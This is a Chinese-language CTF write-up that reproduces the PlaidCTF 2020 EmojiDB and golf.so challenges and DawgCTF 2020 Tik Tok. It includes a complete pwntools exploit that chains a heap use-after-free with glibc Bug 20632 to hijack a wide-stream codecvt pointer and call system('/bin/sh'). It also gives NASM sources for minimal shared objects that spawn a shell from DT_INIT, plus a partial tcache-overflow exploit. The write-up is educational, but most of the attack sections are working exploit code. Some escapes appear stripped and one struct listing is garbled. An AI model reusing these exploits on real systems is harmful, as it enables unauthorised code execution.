几道利用点较为少见的题目复现

 

0x01 简述

  1. [2020 PlaidCTF] EmojiDB – 250pt:主要是对IO内置函数的利用,创新性的利用了Bug 20632完成攻击。
  2. [2020 PlaidCTF] golf.so – 500pt:主要考察如何构建一个Mini共享库文件。
  3. [2020 DawgCTF] Tik Tok – 500pt:基本没有明面上的漏洞,主要考察程序的逻辑漏洞,这些逻辑漏洞会直接导致一些看似正常的逻辑却给与攻击者可乘之机。
  4. [2020 DawgCTF 2020] Nash/Nash2:这个题目的利用点为有限的命令执行。

 

0x02 [2020 PlaidCTF] EmojiDB – 250pt

题目类型:Pwn

checksec结果:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

题目分析

首先,题目不仅仅给出了题目源文件,还给出了题目的Dockerfile以及start.sh

FROM ubuntu:18.04

RUN apt-get update
RUN apt-get install -y xinetd
RUN apt-get install -y language-pack-en

RUN useradd -m ctf

COPY bin /home/ctf
COPY emojidb.xinetd /etc/xinetd.d/emojidb

RUN chown -R root:root /home/ctf
EXPOSE 9876
CMD ["/home/ctf/start.sh"]
#!/bin/sh
# Add your startup script

# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;

# In /etc/init.d/xinetd

service emojidb
{
    disable = no
    socket_type = stream
    protocol    = tcp
    wait        = no
    user        = ctf
    type        = UNLISTED
    port        = 9876
    bind        = 0.0.0.0
    server      = /home/ctf/run.sh
    # safety options
    per_source  = 10 # the maximum instances of this service per source IP address
    rlimit_cpu  = 20 # the maximum number of CPU seconds that the service may use
    #rlimit_as  = 1024M # the Address Space resource limit for the service
}

# In /home/ctf/run.sh

#!/bin/sh
exec /home/ctf/emojidb 2>&-

程序逻辑

首先程序提供了五个功能:

  1. book的数据结构如下:
    struct book{
        int inuse;
        _QWORD *content;
    }
    
  2. 创建book content(命令:?):遍历整个book_list,取出空闲位置下标,限制下标只能介于0-4之间,也就是五个book,接收一个size,检查size是否大于0x800,若不大于,用calloc创建一个4 * size大小的chunk,将chunk地址放在book -> content的位置上,设置book -> inuse位为1,向book -> content写入size大小的值,返回。
  3. 查看book content(命令:?):调用get_book函数接收一个index,检查index-1是否介于0-3之间,取出book_list[index - 1],检查book_list[index - 1] -> content是否为空,若不为空,打印book_list[index - 1] -> content,返回。
  4. 删除book content(命令:?):调用get_book函数接收一个index,检查index-1是否介于0-3之间,取出book_list[index - 1],检查book_list[index - 1] -> contentbook_list[index - 1] -> inuse,若book_list[index - 1] -> content不为空且book_list[index - 1] -> inuse0,释放book_list[index - 1] -> content,标记book_list[index - 1] -> inuse0,返回。
  5. 退出(命令:?):调用_exit(0);
  6. 打印flag(隐藏功能,命令:?):打印???。

漏洞分析

  1. 首先很明显的,在删除book content中,没有在释放book_list[index - 1] -> content后标记book_list[index - 1] -> content0,造成了Use-After-Free漏洞,但是由于book_list[index - 1] -> inuse的存在,又很好地避免了Double Free漏洞的发生。
  2. 然后在创建book content时,没有很好的控制下标,造成我们可以额外申请一个下标为4chunk,这将导致我们可以异常的覆盖0x2020E0的值。
  3. 0x2020E0的值非零时,若我们输入了非法的选项,程序会把我们输入的选项输出到stderr流。

    并且,在run.sh中,程序特意附加了2>&-选项,这表示关闭stderr,这非常可疑!

  4. 宽字节环境+stderr被关闭,恰好满足了Bug 20632的利用要件。

漏洞利用

Leak Data

首先,既然存在Use-After-Free漏洞,且程序在调用show book时并没有检查book_list[index - 1] -> content,这就给了我们一个利用的机会,我们可以利用这个点进行信息的泄露。

但是需要注意的是,这个题的所有I/O都使用了宽字节I/O,例如__wprintf_chk()__isoc99_wscanf()fgetws()fputws()

那么我们的交互函数就要进行一些改变,改成如下形式:(此处感谢南梦狮虎的帮助)

from pwn import *
......

opcode = {
        '0x1F195':'xF0x9Fx86x95',# new
        '0x1F4D6':"xF0x9Fx93x96",# show
        '0x1F193':"xF0x9Fx86x93",# free
        '0x1F6A9':"xF0x9Fx9AxA9",# flag
}
......
def create(sh,chunk_size,value):
    sh.recvuntil("xe2x9dx93")
    sh.send(opcode["0x1F195"])
    sh.sendafter("xf0x9fx93x8fxe2x9d",str(chunk_size))
    sh.recvuntil("x93")
    sh.send(value)

def show(sh,index):
    sh.recvuntil("xe2x9dx93")
    sh.send(opcode['0x1F4D6'])
    sh.sendlineafter("xe2x9dx93",str(index+1))

def delete(sh,index):
    sh.recvuntil("xe2x9dx93")
    sh.send(opcode["0x1F193"])
    sh.sendlineafter("xe2x9dx93",str(index+1))
    sh.recvuntil("x9fx98xb1")

def flags(sh):
    sh.recvuntil("xe2x9dx93")
    sh.send(opcode["0x1F6A9"])

并且我们在之后的泄露和写值都需要使用宽字节交互,这里我们直接使用@Hatena大佬提供的脚本:

#include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <unistd.h>

int main(int argc, char **argv) {
  int i;
  unsigned char out[0x10] = {0};
  unsigned char in[0x10] = {0};
  setlocale(0, "en_US.UTF-8");

  if (argc < 2) {
    printf("Usage: %s [1|2]n", argv[0]);
    return 1;
  }

  if (argv[1][0] == '1') {
    read(0, in, 0x10);
    mbstowcs((wchar_t*)out, in, 0x10);
    write(1, out, 8);
  } else {
    read(0, in, 8);
    wcstombs(out, (wchar_t*)in, 0x10);
    write(1, out, 0x10);
  }
  return 0;
}

然后我们在python中这样调用:

def wchar2char(wchar_data):
    convert = process(['./convert','1'])
    convert.send(wchar_data)
    char_data = convert.recvrepeat(0.3)
    convert.close()
    return char_data

def char2wchar(char_data):
    convert = process(['./convert','2'])
    convert.send(char_data)
    wchar_data = convert.recvrepeat(0.3).strip('n').strip('x00')
    convert.close()
    return wchar_data

那么我们直接先leak libc,泄露代码如下

create(sh,0x110,'Chunk__0'+'n')
create(sh,0x10,'Chunk__0'+'n')
delete(sh,0)
libc_address = u64(wchar2char(show(sh,0)).ljust(8,'x00')) - get_main_arena(libc) - 0x60
success('The libc address is ' + hex(libc_address))

Stack Overflow

这里利用的是在Sourceware Bugzilla报告的Bug 20632 ,正如漏洞文章中说明的,在宽字节环境下且stderr已被关闭时,可能发生漏洞。

我们来探测实际漏洞的触发:

create(sh,0x10,'Chunk__0'+'n')
create(sh,0x10,'Chunk__2'+'n')
create(sh,0x10,'Chunk__3'+'n')
create(sh,0x10,'Chunk__4'+'n')

payload = char2wchar(p32(0x12341234)) * 20
success('The libc address is ' + hex(libc.address))
get_gdb(sh,stop=True)
sh.sendlineafter(b"xe2x9dx93", payload)

sh.interactive()

首先当我们在STDERR被关闭时,首次执行__fwprintf_chk(stderr, 1, '%lc', 0x12341234);时,可以很清楚的看到,由于STDERR被关闭,导致_IO_wide_data_2的所有项基本均为空:

gef➤  p _IO_wide_data_2
$1 = {
  _IO_read_ptr = 0x0, 
  _IO_read_end = 0x0, 
  _IO_read_base = 0x0, 
  _IO_write_base = 0x0, 
  _IO_write_ptr = 0x0, 
  _IO_write_end = 0x0, 
  _IO_buf_base = 0x0, 
  _IO_buf_end = 0x0, 
  _IO_save_base = 0x0, 
  _IO_backup_base = 0x0, 
  _IO_save_end = 0x0, 
  _IO_state = {
    __count = 0x0, 
    __value = {
      __wch = 0x0, 
      __wchb = "000000"
    }
  }, 
  _IO_last_state = {
    __count = 0x0, 
    __value = {
      __wch = 0x0, 
      __wchb = "000000"
    }
  }, 
  _codecvt = {
    __codecvt_destr = 0x0, 
    __codecvt_do_out = 0x0, 
    __codecvt_do_unshift = 0x0, 
    __codecvt_do_in = 0x0, 
    __codecvt_do_encoding = 0x0, 
    __codecvt_do_always_noconv = 0x0, 
    __codecvt_do_length = 0x0, 
    __codecvt_do_max_length = 0x0, 
    __cd_in = {
      __cd = {
        __nsteps = 0x0, 
        __steps = 0x0, 
        __data = 0x7f6f5ca9a838 <_IO_wide_data_2+184>
      }, 
      __combined = {
        __cd = {
          __nsteps = 0x0, 
          __steps = 0x0, 
          __data = 0x7f6f5ca9a838 <_IO_wide_data_2+184>
        }, 
        __data = {
          __outbuf = 0x0, 
          __outbufend = 0x0, 
          __flags = 0x0, 
          __invocation_counter = 0x0, 
          __internal_use = 0x0, 
          __statep = 0x0, 
          __state = {
            __count = 0x0, 
            __value = {
              __wch = 0x0, 
              __wchb = "000000"
            }
          }
        }
      }
    }, 
    __cd_out = {
      __cd = {
        __nsteps = 0x0, 
        __steps = 0x0, 
        __data = 0x7f6f5ca9a878 <_IO_wide_data_2+248>
      }, 
      __combined = {
        __cd = {
          __nsteps = 0x0, 
          __steps = 0x0, 
          __data = 0x7f6f5ca9a878 <_IO_wide_data_2+248>
        }, 
        __data = {
          __outbuf = 0x0, 
          __outbufend = 0x0, 
          __flags = 0x0, 
          __invocation_counter = 0x0, 
          __internal_use = 0x0, 
          __statep = 0x0, 
          __state = {
            __count = 0x0, 
            __value = {
              __wch = 0x0, 
              __wchb = "000000"
            }
          }
        }
      }
    }
  }, 
  _shortbuf = L"", 
  _wide_vtable = 0x7f6f5ca96d60 <_IO_wfile_jumps>
}

但是,我们若继续运行,让我们看看会发生什么

/* Write formatted output to FP from the format string FORMAT.  */
int __fwprintf_chk (FILE *fp, int flag, const wchar_t *format, ...)
{
    va_list ap;
    int done;
    _IO_acquire_lock_clear_flags2(fp);
    if (flag > 0)
        fp->_flags2 |= _IO_FLAGS2_FORTIFY;

    va_start (ap, format);
    done = _IO_vfwprintf (fp, format, ap);
    va_end (ap);

    if (flag > 0)
        fp->_flags2 &= ~_IO_FLAGS2_FORTIFY;
    _IO_release_lock (fp);

    return done;
}

发现在_IO_vfwprintf运行结束后,_IO_wide_data_2_IO_write_ptr已被恢复,并且可以发现,它的_IO_write_ptr指向的是_IO_wide_data_2末尾,也就是说,我们可以去尝试覆盖掉_IO_wide_data_1的值并劫持STDOUT结构体。

查看偏移

接下来继续运行五次,查看内存

可以发现,的确是可以成功覆盖到_IO_wide_data_1的内容的,那么我们的最终利用思路就是篡改do_out函数指针,do_out函数在/glibc-2.27/source/libio/iofwide.c#L155中定义,我们仅需要看其函数原型即可:

static enum __codecvt_result do_out (struct _IO_codecvt *codecvt, __mbstate_t *statep,
    const wchar_t *from_start, const wchar_t *from_end,
    const wchar_t **from_stop, char *to_start, char *to_end,
    char **to_stop)

而我们最终的IO结构体如下,我们恰好可以劫持整个_codecvt结构体。

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

通过偏移计算,我们需要构造如下输入

IO_wide_data = libc.address + 0x3eb9e8
info("IO_wide_data = " + hex(IO_wide_data))

payload = ''
for i in range(16):
    payload += char2wchar(p32(IO_wide_data % 0x100000000))
    payload += char2wchar(p32(IO_wide_data >> 32))

payload += char2wchar(b'/bin') + char2wchar(b'/sh')
payload += char2wchar(p32(libc.symbols['system'] % 0x100000000))
payload += char2wchar(p32(libc.symbols['system'] >> 32))

成功get shell

Final Exploit

from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
opcode = {
        '0x1F4D6':"xF0x9Fx93x96",#show
        '0x1F6A9':"xF0x9Fx9AxA9",
        '0x1F193':"xF0x9Fx86x93",#free
        '0x1F195':'xF0x9Fx86x95',#new
}

emojidb=ELF('./emojidb', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./run.sh")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./run.sh")

def get_main_arena(self):
    """Find main_arena offset
    Returns:
        int: Offset to main_arena (returns None if it's not libc)
    """
    ofs_realloc_hook = self.symbols['__realloc_hook']
    ofs_malloc_hook = self.symbols['__malloc_hook']
    if ofs_realloc_hook is None or ofs_malloc_hook is None:
        log.error('main_arena works only for libc binaries')
        return None

    if context.arch == 'i386':
        return ofs_malloc_hook + 0x18
    else:
        return ofs_malloc_hook + (ofs_malloc_hook - ofs_realloc_hook) * 2

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def create(sh,chunk_size,value):
    sh.recvuntil("xe2x9dx93")
    sh.send(opcode["0x1F195"])
    sh.sendafter("xf0x9fx93x8fxe2x9d",str(chunk_size))
    sh.recvuntil("x93")
    sh.send(value)

def show(sh,index):
    sh.recvuntil("xe2x9dx93")
    sh.send(opcode['0x1F4D6'])
    sh.sendlineafter("xe2x9dx93",str(index+1))
    return sh.recvline()

def delete(sh,index):
    sh.recvuntil("xe2x9dx93")
    sh.send(opcode["0x1F193"])
    sh.sendlineafter("xe2x9dx93",str(index+1))
    sh.recvuntil("x9fx98xb1")

def flags(sh):
    sh.recvuntil("xe2x9dx93")
    sh.send(opcode["0x1F6A9"])

def wchar2char(wchar_data):
    convert = process(['./convert','1'])
    convert.send(wchar_data)
    char_data = convert.recvrepeat(0.3)
    convert.close()
    return char_data

def char2wchar(char_data):
    convert = process(['./convert','2'])
    convert.send(char_data)
    wchar_data = convert.recvrepeat(0.3).strip('n').strip('x00')
    convert.close()
    return wchar_data

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        create(sh,0x110,'Chunk__0'+'n')
        create(sh,0x10,'Chunk__1'+'n')
        delete(sh,0)
        libc.address = u64(wchar2char(show(sh,0)).ljust(8,'x00')) - get_main_arena(libc) - 0x60
        if libc.address % 0x1000 != 0:
            error('The libc base address is wrong!')
        success('The libc base address is ' + hex(libc.address))
        create(sh,0x10,'Chunk__0'+'n')
        create(sh,0x10,'Chunk__2'+'n')
        create(sh,0x10,'Chunk__3'+'n')
        create(sh,0x10,'Chunk__4'+'n')

        IO_wide_data = libc.address + 0x3eb9e8
        info("IO_wide_data = " + hex(IO_wide_data))

        payload = ''
        for i in range(16):
            payload += char2wchar(p32(IO_wide_data % 0x100000000))
            payload += char2wchar(p32(IO_wide_data >> 32))

        payload += char2wchar(b'/bin') + char2wchar(b'/sh')
        payload += char2wchar(p32(libc.symbols['system'] % 0x100000000))
        payload += char2wchar(p32(libc.symbols['system'] >> 32))
        sh.sendlineafter(b"xe2x9dx93", payload)
        flag=get_flag(sh)
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

 

0x03 [2020 PlaidCTF] golf.so – 500pt

题目类型:Misc

题目目的

题目目的是构建一个Mini-shared object,使这个共享库可以被加载到/bin/true时,执行execve("/bin/sh",["/bin/sh"],...)

构建Mini-elf

事实上,对于一个最小的ELF文件,只需要定义一个程序标头,且在程序标头内将整个程序加载到内存并执行即可。

; My_test.s
BITS 64

    org     0x00400000
ehdr:
            db      0x7F, "ELF", 2, 1, 1, 0         ;   e_ident
    times 8 db      0
            dw      3                               ;   e_type
            dw      62                              ;   e_machine
            dd      1                               ;   e_version
            dq      _start                          ;   e_entry
            dq      phdr - $$                       ;   e_phoff
            dq      0                               ;   e_shoff
            dd      0                               ;   e_flags
            dw      ehdrsize                        ;   e_ehsize
            dw      phdrsize                        ;   e_phentsize
            dw      1                               ;   e_phnum
            dw      0                               ;   e_shentsize
            dw      0                               ;   e_shnum
            dw      0                               ;   e_shstrndx

ehdrsize      equ     $ - ehdr

phdr:                                                 ; Elf64_Phdr
            dd      1                               ;   p_type
            dd      5                               ;   p_flags
            dq      0                               ;   p_offset
            dq      $$                              ;   p_vaddr
            dq      $$                              ;   p_paddr
            dq      filesize                        ;   p_filesz
            dq      filesize                        ;   p_memsz
            dq      0x1000                          ;   p_align

phdrsize      equ     $ - phdr

_start:
    xor rsi,rsi
    cdq
    push rsi

      mov rdi , 0x68732f6e69622f
    push rdi
    push rsp
    pop rdi

    push rsi
    push rdi
    push rsp
    pop rsi 

    push 0x3b
    pop rax
    syscall

filesize      equ     $ - $$

使用nasm -f bin -o a.out My_test.s命令编译

可以发现,它现在仅有147个字节。

构建Mini-shared object

接下来需要构建一个共享库文件,对于共享库文件,ELF规范要求有两个程序标头,分别定义一个LOADable段和一个DYNAMIC段,并且接下来要求有四个程序节区,分别是:

  1. SYMTAB节:用于存放我们需要覆盖的符号。
  2. STRTAB节:用于存放我们所需要的字符串。
  3. text节:用于存放我们需要执行的ShellCode
  4. DYNSYM节。

那么我们构建的结果如下所示,

; My_test.s
BITS 64

    org     0x00400000

ehdr:                                               ;   Elf64_Ehdr
            db      0x7F, "ELF", 2, 1, 1, 0         ;   e_ident
    times 8 db      0
            dw      3                               ;   e_type
            dw      62                              ;   e_machine
            dd      1                               ;   e_version
            dq      _start                          ;   e_entry
            dq      phdr - $$                       ;   e_phoff
            dq      sectionHeaders - $$             ;   e_shoff
            dd      0                               ;   e_flags
            dw      ehdrsize                        ;   e_ehsize
            dw      phdrsize                        ;   e_phentsize
            dw      2                               ;   e_phnum
            dw      64                              ;   e_shentsize
            dw      6                               ;   e_shnum
            dw      4                               ;   e_shstrndx

ehdrsize    equ     $ - ehdr

phdr:                                               ;   Elf64_Phdr
    phdr_loadable:
            dd      1                               ;   p_type
            dd      7                               ;   p_flags
            dq      0                               ;   p_offset
            dq      $$                              ;   p_vaddr
            dq      $$                              ;   p_paddr
            dq      filesize                        ;   p_filesz
            dq      filesize                        ;   p_memsz
            dq      0x1000                          ;   p_align

phdrsize    equ     $ - phdr

    phdr_dynamic:
            dd      2                               ;   p_type
            dd      7                               ;   p_flags
            dq      dynamic                         ;   p_offset
            dq      dynamic                         ;   p_vaddr
            dq      dynamic                         ;   p_paddr
            dq      dynamicsize                     ;   p_filesz
            dq      dynamicsize                     ;   p_memsz
            dq      0x1000                          ;   p_align

main:
    _start:
            xor rsi,rsi
            cdq
            push rsi

            mov rdi , 0x68732f6e69622f
            push rdi
            push rsp
            pop rdi

            push rsi
            push rdi
            push rsp
            pop rsi 

            push 0x3b
            pop rax
            syscall

mainsize    equ     $ - main

sectionHeaders:
    section_dynsym:
            dd      1               ;sh_name
            dd      11              ;sh_type DYNSYM
            dq      7               ;sh_flags rx
            dq      dynsym          ;sh_addr
            dq      dynsym          ;sh_offset
            dq      dynsymsize      ;sh_size
            dd      3               ;sh_link
            dd      1               ;sh_info
            dq      1               ;sh_addralign
            dq      24              ;sh_entsize

    section_text:
            dd      19              ;sh_name
            dd      1               ;sh_type PROGBITS
            dq      7               ;sh_flags rx
            dq      main            ;sh_addr
            dq      main            ;sh_offset
            dq      mainsize        ;sh_size
            dd      3               ;sh_link
            dd      0               ;sh_info
            dq      1               ;sh_addralign
            dq      0               ;sh_entsize

    section_shstrtab:
            dd      9               ;sh_name
            dd      3               ;sh_type STRTAB
            dq      7               ;sh_flags rx
            dq      shstrtab        ;sh_addr
            dq      shstrtab        ;sh_offset
            dq      shstrtabsize    ;sh_size
            dd      0               ;sh_link
            dd      0               ;sh_info
            dq      1               ;sh_addralign
            dq      0               ;sh_entsize

    section_dynamic:
            dd      41               ;sh_name
            dd      6                ;sh_type SYMTAB
            dq      7                ;sh_flags rx
            dq      dynamic          ;sh_addr
            dq      dynamic          ;sh_offset
            dq      dynamicsize      ;sh_size
            dd      3                ;sh_link
            dd      0                ;sh_info
            dq      8h               ;sh_addralign
            dq      16               ;sh_entsize

sectionHeaderssize    equ     $ - sectionHeaders

dynsym:
    times 24 db 0
            dd      1                 ;st_name
            db      18                ;st_info global function 00010000 || 00000010
            db      0                 ;st_other
            dw      1                 ;st_shndx
            dq        _start            ;st_value
            dq      mainsize          ;st_size

dynsymsize    equ     $ - dynsym

dynamic:
    dt_strtab:
            dq          5
            dq          shstrtab
    dt_symtab:
            dq          6
            dq          dynsym
    dt_none:
            dq          0
            dq          0

dynamicsize    equ     $ - dynamic 


shstrtab:
            db          0

shstrtabsize    equ     $ - shstrtab

filesize    equ     $ - $$

但是我们发现,这个文件的大小是556字节并且并不会为我们回弹一个shell

进一步查阅资料发现了如下定义

DT_INIT 12 d_ptr Address of the initialization function

也就是说,我们只需要把DT_INIT指向我们的shellcode即可执行我们的目标函数,并且我们也不需要如此多的节区,因此我们可以删去三个无关节区,仅保留dynsym节区即可

; My_test.s
BITS 64

    org     0x00400000

ehdr:                                               ;   Elf64_Ehdr
            db      0x7F, "ELF", 2, 1, 1, 0         ;   e_ident
    times 8 db      0
            dw      3                               ;   e_type
            dw      62                              ;   e_machine
            dd      1                               ;   e_version
            dq      _start                          ;   e_entry
            dq      phdr - $$                       ;   e_phoff
            dq      sectionHeaders - $$             ;   e_shoff
            dd      0                               ;   e_flags
            dw      ehdrsize                        ;   e_ehsize
            dw      phdrsize                        ;   e_phentsize
            dw      2                               ;   e_phnum
            dw      64                              ;   e_shentsize
            dw      6                               ;   e_shnum
            dw      4                               ;   e_shstrndx

ehdrsize    equ     $ - ehdr

phdr:                                               ;   Elf64_Phdr
    phdr_loadable:
            dd      1                               ;   p_type
            dd      7                               ;   p_flags
            dq      0                               ;   p_offset
            dq      $$                              ;   p_vaddr
            dq      $$                              ;   p_paddr
            dq      filesize                        ;   p_filesz
            dq      filesize                        ;   p_memsz
            dq      0x1000                          ;   p_align

phdrsize    equ     $ - phdr

    phdr_dynamic:
            dd      2                               ;   p_type
            dd      7                               ;   p_flags
            dq      dynamic                         ;   p_offset
            dq      dynamic                         ;   p_vaddr
            dq      dynamic                         ;   p_paddr
            dq      dynamicsize                     ;   p_filesz
            dq      dynamicsize                     ;   p_memsz
            dq      0x1000                          ;   p_align

main:
    _start:
            xor rsi,rsi
            cdq
            push rsi

            mov rdi , 0x68732f6e69622f
            push rdi
            push rsp
            pop rdi

            push rsi
            push rdi
            push rsp
            pop rsi 

            push 0x3b
            pop rax
            syscall
            ret

mainsize    equ     $ - main

sectionHeaders:
    dynsym:

dynsymsize    equ     $ - dynsym

dynamic:
    dt_strtab:
            dq          5
            dq          dynsym
    dt_symtab:
            dq          6
            dq          dynsym
    dt_init:
            dq          12
            dq          main

dynamicsize    equ     $ - dynamic 

filesize    equ     $ - $$

这样,我们将程序的大小进一步缩减到了252字节,且成功回弹了shell

接下来我们发现,事实上有一些位置是可以重叠的,我们来分析一个极为精炼的exp

; My_test.s
BITS 64

    org     0

ehdr:                                               ;   Elf64_Ehdr
            db      0x7F, "ELF", 2, 1, 1, 0         ;   e_ident
    times 8 db      0
            dw      3                               ;   e_type
            dw      62                              ;   e_machine
            dd      1                               ;   e_version
            db      '/bin/sh', 0                    ;   e_entry
            dq      phdr - $$                       ;   e_phoff
    shellcode_begin:
            call    part_a                          ;   e_shoff
    part_a:
            pop     rdi
            sub     rdi, 0x15                        
            xchg    esi, eax
            push    rax
            jmp     part_b                          ;   e_phsize
            dw      phdrsize                        ;   e_phentsize
            dw      2                               ;   e_phnum
    part_b:
            push    rdi
            push    rdi
            push    rsp                      
            mov     al, 59                    
            jmp     part_c                         

ehdrsize    equ     $ - ehdr

phdr:                                               ;   Elf64_Phdr
    phdr_loadable:
            dd      1                               ;   p_type
            dd      7                               ;   p_flags
            dq      0                               ;   p_offset
            dq      $$                              ;   p_vaddr
    part_c:
            pop     rsi
            xor     edx, edx
            syscall
            nop
            nop
            nop
            dq      filesize                        ;   p_filesz
            dq      filesize                        ;   p_memsz
            dq      0x1000                          ;   p_align

phdrsize    equ     $ - phdr

    phdr_dynamic:
            dd      2                               ;   p_type
            dd      7                               ;   p_flags
            dq      dynamic                         ;   p_offset
            dq      dynamic                         ;   p_vaddr
    dynamic:
        dt_init:
            dq          13
            dq          shellcode_begin
        dt_strtab:
            dq          5
            dq          0
        dt_symtab:
            dq          6

filesize    equ     $ - $$

首先,在program_head_table中,事实上有一些项是可以不被使用的,真正不可缺失的只有typeflagsoffsetvirtual_address,那么可以直接把offsetvirtual_address覆盖成virtual_address之后的地址来实现一个dynamicphdr_dynamic的重叠,然后,当共享库调用fini函数时,首先会调用shellcode_beginshellcode_beginElf64_Ehdr -> e_shoff进行了空间复用,在那之后,程序会将pop rdi指令的地址压栈,因为这个地址是call part_a的返回地址,而我们接下来,将这个返回地址赋给rdi,然后让其减去0x15,这将会恰好使其指向/bin/sh的地址处接下来的一系列shellcode也和Elf64_Ehdr进行了空间复用,构造的十分精巧,去掉末尾0后最终大小仅177字节。

 

0x04 [2020 DawgCTF] Tik Tok – 500pt

题目类型:Pwn

checksec结果:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

题目分析

题目除了给定了一个二进制文件,同时给定了需要使用的libc以及一个songs的压缩包,解压后内部是若干文本文件。

我们为了方便读取这些文件,我们给与这些文件最高权限

程序逻辑

由于程序保留了一定的符号,这方便我们分析功能,程序有以下功能:

  1. 程序中的数据结构为:
    struct Songs{
        char path[0x18];
        _DWORD *fd;
        _DWORD *padding;
        _QWORD *dir;
        _QWORD *name;
        _QWORD *play_content;
    }
    
  2. Import_song:首先执行ls -R,遍历当前目录下的文件,然后用户输入一个<dir>/<file_name>.<ex_type>的路径保存在songs[song_count].path里,尝试打开那个路径所代表的文件,将文件句柄放在songs[song_count].fd里。接着若以下条件均满足则继续运行,否则程序退出:
    1. songs[song_count].fd不为-1(文件打开成功)
    2. songs[song_count].path[0]为可读字符(一定程度防止读非法文件)
    3. songs[song_count].path中不存在flag../(防止读flag文件以及防止跨目录读文件)

    <dir>保存在songs[song_count].dir里,将<file_name>保存在songs[song_count].file_name里,song_count增加1

  3. Show_playlist:遍历整个songs数组,若songs[i].dir不为空,则打印i+1songs[song_count].dirsongs[song_count].file_name
  4. Play_song:读取一个index,检查index - 1是否小于song_countindex - 1是否大于0songs[index-1].dir是否为空。接着,若songs[index-1].play_content为空,从songs[song_count].fd读取四个字节,转换成long型数值作为size,然后分配一个size + 1大小的chunk放在songs[index-1].play_content中,接着从songs[song_count].fd读取size个字节存入chunk中,打印存入的内容,返回。
  5. Remove_song:读取一个index,检查index - 1是否小于song_countindex - 1是否大于0songs[index-1].dir是否为空。接着清空songs[index-1].dirsongs[index-1].file_name,释放songs[index-1].play_content,指针置零,清空songs[song_count].path,关闭songs[song_count].fd并将该位置置空。

漏洞分析

  1. 首先,我们遇到的最大困难就是向chunk的写入看似不可控,因此我们要想办法让某个song的文件描述符为0,这样我们就可以通过stdin向其中写入数据了。
  2. play_song功能中,程序没有对size进行任何检查且其为无符号变量,这将会导致堆溢出,若我们能控制size-1,将会调用malloc(0),且将允许向返回的Chunk写入极大量的数据!

漏洞利用

创建可控Chunk

利用open函数的漏洞,对于open函数,我们可以输入一个目录,它也将会成功的打开而不会返回失败,且这个目录允许添加多个/

此处存在:

  1. path成员和fd成员直接相邻,且在向path成员写值时存在逻辑,当且仅当path成员的末尾是n时,才会将其替换成x00否则不作任何操作!
  2. 程序限定song_count的上限是0x31,而fd处存放的是文件描述符,而这个文件描述符将会由3开始递增,当其递增到0x2E时,若path中没有.,将会把这个文件描述符替换成NULL。

于是我们的利用脚本如下:

for i in range(3,0x2F):
    import_song(sh,'Animal/'.ljust(0x18,'/'))

⚠:此处还有一点需要注意!正如我们在程序逻辑中说明的那样,一旦我们对这个歌曲执行了释放操作,程序将关闭fd指针处的文件流,而在此处,这意味着stdin将会被关闭,因此我们必须防止其被释放!

劫持Tcache Bin

我们发现Animal/blahblah.txt将会申请0x660大小的chunk,而Animal/animal.txt将会申请0x3B0大小的chunk。那么我们若先申请一个0x660大小的chunk,再申请一个0x3B0大小的chunk,然后依次释放,然后使用那个堆溢出漏洞,我们将可以直接劫持Tcache Bin结构。

那么我们首先构造如下Payload

import_song(sh,'Animal/blahblah.txt')  # 45
import_song(sh,'Animal/animal.txt')    # 46

play_song(sh,45)
play_song(sh,46)

remove_song(sh,45)
remove_song(sh,46)

劫持songs

